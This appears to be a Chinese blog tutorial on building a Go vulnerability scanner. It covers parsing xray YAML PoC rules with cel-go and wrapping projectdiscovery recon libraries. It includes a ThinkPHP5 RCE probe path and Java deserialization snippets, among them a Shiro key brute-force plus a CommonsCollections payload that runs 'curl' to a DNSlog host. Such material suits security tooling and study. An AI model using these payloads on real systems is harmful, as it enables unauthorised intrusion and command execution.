解析xray yml

xray是使用cel-go来做执行引擎的,所以需要cel-go的语法基础 https://github.com/google/cel-go/blob/master/examples/README.md https://codelabs.developers.google.com/codelabs/cel-go#0 通过基于CEL表达式定义poc规则

下面对xray的yml文件进行简单的解析执行

反序列化yml文件

执行yml文件的第一步是把yml反序列化到golang的结构体中 这样方便用yml内容在go中进行操作

xray yml格式

名称

名称: 脚本名称, string 类型

脚本部分

  1. thinkphp5.yml
  • 传输方式(transport)
  1. tcp
  2. udp
  3. http
  • 全局变量定义(set)

该字段用于定义全局变量。比如随机数,反连平台等。 set: map[string]interface{}

  • 规则描述(rules)

该字段定义了一些具名的 rule。 rules: map[string]Rule

  • 规则表达式(expression)

该字段定义了这条 rule 最终执行的一个结果. expression: string

信息部分

  1. name: poc-yaml-thinkphp5-controller-rce
  2. # 脚本部分
  3. manual: true
  4. set:
  5. rand: randomInt(200000000, 210000000)
  6. transport: http
  7. rules:
  8. r0:
  9. request:
  10. cache: true
  11. method: GET
  12. path: /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91
  13. expression: response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129")
  14. expression: r0()
  15. # 信息部分
  16. detail:
  17. links:
  18. - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
  1. 解析.go ```go package main

import ( “gopkg.in/yaml.v2” “io/ioutil” ) //首先我们定义一个和yml格式相关联的结构体 type Poc struct { Name string yaml:"name" Transport string yaml:"transport" Set map[string]string yaml:"set" Rules map[string]Rule yaml:"rules" Expression string yaml:"expression" Detail Detail yaml:"detail" }

type Rule struct { Request RuleRequest yaml:"request" Expression string yaml:"expression" }

type RuleRequest struct { Cache bool yaml:"cache" method string yaml:"method" path string yaml:"path" Expression string yaml:"expression" }

type Detail struct { Author string yaml:"author" Links []string yaml:"links" Description string yaml:"description" Version string yaml:"version" }

func main() { poc := Poc{} pocFile, _ := ioutil.ReadFile(“thinkphp.yml”) //解析yaml err := yaml.Unmarshal(pocFile,&poc) if err != nil{ println(err.Error()) } println(pocFile) }

  1. <a name="sseeZ"></a>
  2. ## 处理yml中的函数
  3. > 我们在上方看到key的value是randomInt(200000000, 210000000)
  4. > 显然这是不能使用的
  5. > 所以我们需要cel-go执行语句,并获取out
  6. > 定义如下函数
  7. ```go
  8. func execSetExpression(Expression string) (interface{}, error) {
  9. //定义set 内部函数接口
  10. setFuncsInterface := cel.Declarations(
  11. decls.NewFunction("randomInt",
  12. decls.NewOverload("randomInt_int_int",
  13. []*exprpb.Type{decls.Int, decls.Int},
  14. decls.String)),
  15. decls.NewFunction("randomLowercase",
  16. decls.NewOverload("randomLowercase_string",
  17. []*exprpb.Type{decls.Int},
  18. decls.String)),
  19. )
  20. //实现set 内部函数接口
  21. setFuncsImpl := cel.Functions(
  22. &functions.Overload{
  23. Operator: "randomInt_int_int",
  24. Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
  25. randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
  26. min := int(lhs.Value().(int64))
  27. max := int(rhs.Value().(int64))
  28. return types.String(strconv.Itoa(min + randSource.Intn(max-min)))
  29. }},
  30. &functions.Overload{
  31. Operator: "randomLowercase_string",
  32. Unary: func(lhs ref.Val) ref.Val {
  33. n := lhs.Value().(int64)
  34. letterBytes := "abcdefghijklmnopqrstuvwxyz"
  35. randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
  36. const (
  37. letterIdxBits = 6 // 6 bits to represent a letter index
  38. letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
  39. letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits
  40. )
  41. randBytes := make([]byte, n)
  42. for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
  43. if remain == 0 {
  44. cache, remain = randSource.Int63(), letterIdxMax
  45. }
  46. if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
  47. randBytes[i] = letterBytes[idx]
  48. i--
  49. }
  50. cache >>= letterIdxBits
  51. remain--
  52. }
  53. return types.String(randBytes)
  54. }},
  55. )
  56. //创建set 执行环境
  57. env, err := cel.NewEnv(setFuncsInterface)
  58. if err != nil {
  59. log.Fatalf("environment creation error: %v\n", err)
  60. }
  61. ast, iss := env.Compile(Expression)
  62. if iss.Err() != nil {
  63. log.Fatalln(iss.Err())
  64. return nil, iss.Err()
  65. }
  66. prg, err := env.Program(ast, setFuncsImpl)
  67. if err != nil {
  68. return nil, errors.New(fmt.Sprintf("Program creation error: %v\n", err))
  69. }
  70. out, _, err := prg.Eval(map[string]interface{}{})
  71. if err != nil {
  72. log.Fatalf("Evaluation error: %v\n", err)
  73. return nil, errors.New(fmt.Sprintf("Evaluation error: %v\n", err))
  74. }
  75. return out, nil
  76. }

image.png
image.png

我们成功解析出来了这个随机数
当然这里是以randomInt进行举例,其实还有更多的解析语句
image.png

这里并不展开讲解

详细的可以观看 https://github.com/jjf012/gopoc https://github.com/WAY29/pocV https://github.com/jweny/pocassist

处理request和response格式

部分request中会{{rand}}这种格式
image.png

这是为了使用randomLowercase(4)所生成的值

处理这种形式,我们需要定义一下渲染函数

  1. // 渲染函数 渲染变量到request中
  2. func render(v string, setMap map[string]interface{}) string {
  3. for k1, v1 := range setMap {
  4. _, isMap := v1.(map[string]string)
  5. if isMap {
  6. continue
  7. }
  8. v1Value := fmt.Sprintf("%v", v1)
  9. t := "{{" + k1 + "}}"
  10. if !strings.Contains(v, t) {
  11. continue
  12. }
  13. v = strings.ReplaceAll(v, t, v1Value)
  14. }
  15. return v
  16. }

再看expression字段中
image.png
这是一个response结构体,抽象成golang代码大概如下

  1. type Response struct {
  2. Body []byte
  3. }

但是在cel中是不能直接使用golang的struct的,需要用proto来做一个转换

protoc是一款用C++编写的工具,其可以将proto文件翻译为指定语言的代码 https://github.com/protocolbuffers/protobuf/releases go get -u github.com/golang/protobuf/protoc-gen-go@v1.3.2

定义如下proto文件

  1. syntax = "proto3";
  2. option go_package = "./;structs";
  3. package structs;
  4. message Response {
  5. //数据类型 字段名称 字段id
  6. bytes body = 1;
  7. }

通过protoc -I . —go_out=. requests.proto生成go文件
image.png
然后我们便可定义如下函数来执行单条rule的表达式,其返回值为bool,用来判断单条rule是否成立

  1. func execRuleExpression(Expression string, variableMap map[string]interface{}) bool {
  2. env, _ := cel.NewEnv(
  3. cel.Container("structs"),
  4. cel.Types(&structs.Response{}),
  5. cel.Declarations(
  6. decls.NewVar("response", decls.NewObjectType("structs.Response")),
  7. decls.NewFunction("bcontains",
  8. decls.NewInstanceOverload("bytes_bcontains_bytes",
  9. []*exprpb.Type{decls.Bytes, decls.Bytes},
  10. decls.Bool)),
  11. ),
  12. )
  13. funcImpl := []cel.ProgramOption{
  14. cel.Functions(
  15. &functions.Overload{
  16. Operator: "bytes_bcontains_bytes",
  17. Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
  18. v1, ok := lhs.(types.Bytes)
  19. if !ok {
  20. return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
  21. }
  22. v2, ok := rhs.(types.Bytes)
  23. if !ok {
  24. return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
  25. }
  26. return types.Bool(bytes.Contains(v1, v2))
  27. },
  28. },
  29. )}
  30. ast, iss := env.Compile(Expression)
  31. if iss.Err() != nil {
  32. log.Fatalln(iss.Err())
  33. }
  34. prg, err := env.Program(ast, funcImpl...)
  35. if err != nil {
  36. log.Fatalf("Program creation error: %v\n", err)
  37. }
  38. out, _, err := prg.Eval(variableMap)
  39. if err != nil {
  40. log.Fatalf("Evaluation error: %v\n", err)
  41. }
  42. return out.Value().(bool)
  43. }

然后根据request流程,可以抽象为如下匿名函数,方便最后执行poc中的Expression

  1. var RequestsInvoke = func(target string, setMap map[string]interface{}, rule Rule) bool {
  2. var req *http.Request
  3. var err error
  4. if rule.Request.Body == "" {
  5. req, err = http.NewRequest(rule.Request.Method, target+render(rule.Request.Path, setMap), nil)
  6. } else {
  7. req, err = http.NewRequest(rule.Request.Method, target+render(rule.Request.Path, setMap), bytes.NewBufferString(render(rule.Request.Body, setMap)))
  8. }
  9. if err != nil {
  10. log.Println(fmt.Sprintf("http request error: %s", err.Error()))
  11. return false
  12. }
  13. resp, err := http.DefaultClient.Do(req)
  14. if err != nil {
  15. println(err.Error())
  16. return false
  17. }
  18. response := &structs.Response{}
  19. response.Body, _ = ioutil.ReadAll(resp.Body)
  20. return execRuleExpression(rule.Expression, map[string]interface{}{"response": response})
  21. }

执行poc Expression

将前面生成的request匿名函数,按照rules中的key定义成函数。注入到cel执行环境中,即可实现短路的逻辑,避免无效请求

  1. func execPocExpression(target string, setMap map[string]interface{}, Expression string, rules map[string]Rule) bool {
  2. var funcsInterface []*exprpb.Decl
  3. var funcsImpl []*functions.Overload
  4. for key, rule := range rules {
  5. funcName := key
  6. funcRule := rule
  7. funcsInterface = append(funcsInterface, decls.NewFunction(key, decls.NewOverload(key, []*exprpb.Type{}, decls.Bool)))
  8. funcsImpl = append(funcsImpl,
  9. &functions.Overload{
  10. Operator: funcName,
  11. Function: func(values ...ref.Val) ref.Val {
  12. return types.Bool(RequestsInvoke(target, setMap, funcRule))
  13. },
  14. })
  15. }
  16. env, err := cel.NewEnv(cel.Declarations(funcsInterface...))
  17. if err != nil {
  18. log.Fatalf("environment creation error: %v\n", err)
  19. }
  20. ast, iss := env.Compile(Expression)
  21. if iss.Err() != nil {
  22. log.Fatalln(iss.Err())
  23. }
  24. prg, err := env.Program(ast, cel.Functions(funcsImpl...))
  25. if err != nil {
  26. log.Fatalln(fmt.Sprintf("Program creation error: %v\n", err))
  27. }
  28. out, _, err := prg.Eval(map[string]interface{}{})
  29. return out.Value().(bool)
  30. }

image.png

踩坑

有段时间没有go了
一些坑点又忘了
gomod引用第三方库的时候,解析要启动Go模块集成,否则解析不到
image.png

image.png
image.png
引用自己目录下的go文件,要根据gomod的名称


利用projectdiscovery团队等开发的工具作为第三方包引入
可以迅速简单的构建自己的强大而又高效工具

当然以下方式确实可以给你快速源码上构建一个强大的工具,但不代表自己开发能力很好了,只能说是一个”加强版的脚本小子”了

但说实话,我不感觉自己写的比projectdiscovery团队写的好,hahahaha

子域名收集

subfinder

  1. package main
  2. import (
  3. "bytes"
  4. "context"
  5. "fmt"
  6. "io"
  7. "log"
  8. "github.com/projectdiscovery/subfinder/v2/pkg/passive"
  9. "github.com/projectdiscovery/subfinder/v2/pkg/resolve"
  10. "github.com/projectdiscovery/subfinder/v2/pkg/runner"
  11. )
  12. func main() {
  13. runnerInstance, err := runner.NewRunner(&runner.Options{
  14. Threads: 10, // Thread controls the number of threads to use for active enumerations
  15. Timeout: 30, // Timeout is the seconds to wait for sources to respond
  16. MaxEnumerationTime: 10, // MaxEnumerationTime is the maximum amount of time in mins to wait for enumeration
  17. Resolvers: resolve.DefaultResolvers, // Use the default list of resolvers by marshaling it to the config
  18. Sources: passive.DefaultSources, // Use the default list of passive sources
  19. AllSources: passive.DefaultAllSources, // Use the default list of all passive sources
  20. Recursive: passive.DefaultRecursiveSources, // Use the default list of recursive sources
  21. Providers: &runner.Providers{}, // Use empty api keys for all providers
  22. })
  23. buf := bytes.Buffer{}
  24. err = runnerInstance.EnumerateSingleDomain(context.Background(), "projectdiscovery.io", []io.Writer{&buf})
  25. if err != nil {
  26. log.Fatal(err)
  27. }
  28. data, err := io.ReadAll(&buf)
  29. if err != nil {
  30. log.Fatal(err)
  31. }
  32. fmt.Printf("%s", data)
  33. }

ksubdomain

  1. package main
  2. import (
  3. "context"
  4. "github.com/boy-hack/ksubdomain/core/gologger"
  5. "github.com/boy-hack/ksubdomain/core/options"
  6. "github.com/boy-hack/ksubdomain/runner"
  7. "github.com/boy-hack/ksubdomain/runner/outputter"
  8. "github.com/boy-hack/ksubdomain/runner/outputter/output"
  9. "github.com/boy-hack/ksubdomain/runner/processbar"
  10. "strings"
  11. )
  12. func main() {
  13. process := processbar.ScreenProcess{}
  14. screenPrinter, _ := output.NewScreenOutput(false)
  15. domains := []string{"www.baidu.com", "x.baidu.com"}
  16. opt := &options.Options{
  17. Rate: options.Band2Rate("1m"),
  18. Domain: strings.NewReader(strings.Join(domains, "\n")),
  19. DomainTotal: 2,
  20. Resolvers: options.GetResolvers(""),
  21. Silent: false,
  22. TimeOut: 10,
  23. Retry: 3,
  24. Method: runner.VerifyType,
  25. DnsType: "a",
  26. Writer: []outputter.Output{
  27. screenPrinter,
  28. },
  29. ProcessBar: &process,
  30. EtherInfo: options.GetDeviceConfig(),
  31. }
  32. opt.Check()
  33. r, err := runner.New(opt)
  34. if err != nil {
  35. gologger.Fatalf(err.Error())
  36. }
  37. ctx := context.Background()
  38. r.RunEnumeration(ctx)
  39. r.Close()
  40. }
  41. /*
  42. type Options struct {
  43. Rate int64 // 每秒发包速率
  44. Domain io.Reader // 域名输入
  45. DomainTotal int // 扫描域名总数
  46. Resolvers []string // dns resolvers
  47. Silent bool // 安静模式
  48. TimeOut int // 超时时间 单位(秒)
  49. Retry int // 最大重试次数
  50. Method string // verify模式 enum模式 test模式
  51. DnsType string // dns类型 a ns aaaa
  52. Writer []outputter.Output // 输出结构
  53. ProcessBar processbar.ProcessBar
  54. EtherInfo *device.EtherTable // 网卡信息
  55. }
  56. ksubdomain底层接口只是一个dns验证器,如果要通过一级域名枚举,需要把全部的域名都放入Domain字段中,可以看enum参数是怎么写的 cmd/ksubdomain/enum.go
  57. Write参数是一个outputter.Output接口,用途是如何处理DNS返回的接口,ksubdomain已经内置了三种接口在 runner/outputter/output中,主要作用是把数据存入内存、数据写入文件、数据打印到屏幕,可以自己实现这个接口,实现自定义的操作。
  58. ProcessBar参数是一个processbar.ProcessBar接口,主要用途是将程序内成功个数、发送个数、队列数、接收数、失败数、耗时传递给用户,实现这个参数可以时时获取这些。
  59. EtherInfo是*device.EtherTable类型,用来获取网卡的信息,一般用函数options.GetDeviceConfig()即可自动获取网卡配置
  60. */

端口扫描

  1. github.com/projectdiscovery/naabu/v2/pkg/runner
  2. github.com/projectdiscovery/gologger
  3. func runTcpScan(targetip string) {
  4. var options runner.Options
  5. options.Silent = true
  6. options.Verbose = false // mudar
  7. options.Debug = false // mudar
  8. options.Ping = false
  9. options.EnableProgressBar = false
  10. options.ScanType = "s"
  11. options.ExcludeCDN = true
  12. options.Rate = 400
  13. options.Timeout = 8
  14. options.Retries = 3
  15. options.WarmUpTime = 5
  16. options.Host = targetip
  17. options.Interface = "enp1s0"
  18. options.InterfacesList = false
  19. options.TopPorts = "100"
  20. options.Threads = 6
  21. options.Nmap = false
  22. options.Output = "/tmp/naabu-output.txt"
  23. //options.NmapCLI = "nmap -sV -oX /tmp/nmap-results.xml --script=http-title,http-server-header,http-open-proxy,http-methods,http-headers,ssl-cert"
  24. naabuRunner, err := runner.NewRunner(&options)
  25. if err != nil {
  26. gologger.Fatal().Msgf("Could not create runner: %s\n", err)
  27. }
  28. err = naabuRunner.RunEnumeration()
  29. if err != nil {
  30. gologger.Fatal().Msgf("Could not run enumeration: %s\n", err)
  31. }
  32. }

验证存活

  1. httpx := tool.Httpx{}
  2. httpxConfig := make(map[string]interface{})
  3. httpxConfig["input"] = "/domains.txt"
  4. httpxConfig["output"] = "xxxxx"
  5. httpx.Info("")
  6. httpx.Configure(httpxConfig)
  7. httpx.Run("")
  1. package tool
  2. import (
  3. "encoding/json"
  4. "fmt"
  5. "io/ioutil"
  6. "regexp"
  7. "github.com/fatih/color"
  8. customport "github.com/projectdiscovery/httpx/common/customports"
  9. "github.com/projectdiscovery/httpx/runner"
  10. )
  11. type HttpxConfiguration struct {
  12. Input string `json:"input"`
  13. Output string `json:"output"`
  14. }
  15. type Httpx struct {
  16. configuration HttpxConfiguration
  17. runnerInstance *runner.Runner
  18. }
  19. func (h *Httpx) Info(_ string) {
  20. color.Cyan("Running httpx on subdomains")
  21. }
  22. func (h *Httpx) Configure(config interface{}) {
  23. b, _ := json.Marshal(config.(map[string]interface{}))
  24. var httpxconfiguration HttpxConfiguration
  25. _ = json.Unmarshal(b, &httpxconfiguration)
  26. h.configuration = httpxconfiguration
  27. customPorts := customport.CustomPorts{}
  28. customPorts.Set("25,80,81,135,389,443,1080,3000,3306,8080,8443,8888,9090,8089")
  29. opts := runner.Options{
  30. InputFile: httpxconfiguration.Input,
  31. CustomPorts: customPorts,
  32. ExtractTitle: true,
  33. ContentLength: true,
  34. OutputContentType: true,
  35. StatusCode: true,
  36. TechDetect: true,
  37. VHost: true,
  38. OutputWebSocket: true,
  39. FollowRedirects: true,
  40. Retries: 2,
  41. Threads: 50,
  42. Timeout: 8,
  43. }
  44. if httpxconfiguration.Output != "" {
  45. opts.Output = httpxconfiguration.Output
  46. }
  47. h.runnerInstance, _ = runner.New(&opts)
  48. }
  49. func (h *Httpx) Run(_ string) {
  50. h.runnerInstance.RunEnumeration()
  51. body, _ := ioutil.ReadFile(h.configuration.Output)
  52. fmt.Println(string(body))
  53. ioutil.WriteFile(h.configuration.Output, regexp.MustCompile(`( \[.+)`).ReplaceAll(body, []byte{}), 0755)
  54. }

指纹识别

为什么要在httpx下面呢
因为httpx自带这个库的指纹识别系统

  1. package main
  2. import (
  3. "fmt"
  4. "io/ioutil"
  5. "log"
  6. "net/http"
  7. wappalyzer "github.com/projectdiscovery/wappalyzergo"
  8. )
  9. func main() {
  10. resp, err := http.DefaultClient.Get("https://www.hackerone.com")
  11. if err != nil {
  12. log.Fatal(err)
  13. }
  14. data, _ := ioutil.ReadAll(resp.Body) // Ignoring error for example
  15. wappalyzerClient, err := wappalyzer.New()
  16. fingerprints := wappalyzerClient.Fingerprint(resp.Header, data)
  17. fmt.Printf("%v\n", fingerprints)
  18. // Output: map[Acquia Cloud Platform:{} Amazon EC2:{} Apache:{} Cloudflare:{} Drupal:{} PHP:{} Percona:{} React:{} Varnish:{}]
  19. }

但这个库主要是国际指纹
如果想识别shiro这种需要改动(发包的header头)
image.png
普通规则直接在这里按规则添加指纹即可

Java反序列化

  1. package main
  2. import (
  3. "fmt"
  4. gososerial "github.com/4ra1n/Gososerial"
  5. )
  6. func main() {
  7. var payload []byte
  8. payload = gososerial.GetCC1("calc.exe")
  9. fmt.Println(payload)
  10. }
  11. package main
  12. import (
  13. gososerial "github.com/4ra1n/Gososerial"
  14. "..."
  15. )
  16. func main() {
  17. // Testecho: expr 10 '*' 10 -> Testecho: expr 10 '*' 10
  18. // Testcmd: expr 10 '*' 10 -> Testcmd: 100
  19. payload := gososerial.GetCCK2TomcatEcho("Testecho", "Testcmd")
  20. req.Cookie = AESEncrypt(payload)
  21. req.Header["Testecho"] = "gososerial"
  22. req.Method = "POST"
  23. resp := httputil.sendRequest(req)
  24. if resp.Header["Testecho"] == "gososerial" {
  25. log.Info("find cck2 tomcat echo")
  26. }
  27. }
  28. package main
  29. import (
  30. gososerial "github.com/4ra1n/Gososerial"
  31. "..."
  32. )
  33. func main() {
  34. // Shiro Scan Code
  35. target := "http://shiro_ip/"
  36. // Brust Shiro AES Key
  37. key := shiro.CheckShiroKey(target)
  38. if key != nil {
  39. log.Info("find key: %s", key)
  40. }
  41. // Use CommonsCollections5 Payload
  42. var payload []byte
  43. payload = gososerial.GetCC5("curl xxxxx.ceye.io")
  44. // Send Cookies Encrypted By AES
  45. shiro.SendPayload(key, payload, target)
  46. // Receive Results Using Dnslog API
  47. if ceye.CheckResult("your_ceye_token") {
  48. log.Info("find shiro!")
  49. }
  50. }

all in all

还有很多这种利用方式
go来说比较好用的第三方包,应该是projectdiscovery的仓库
https://github.com/orgs/projectdiscovery/repositories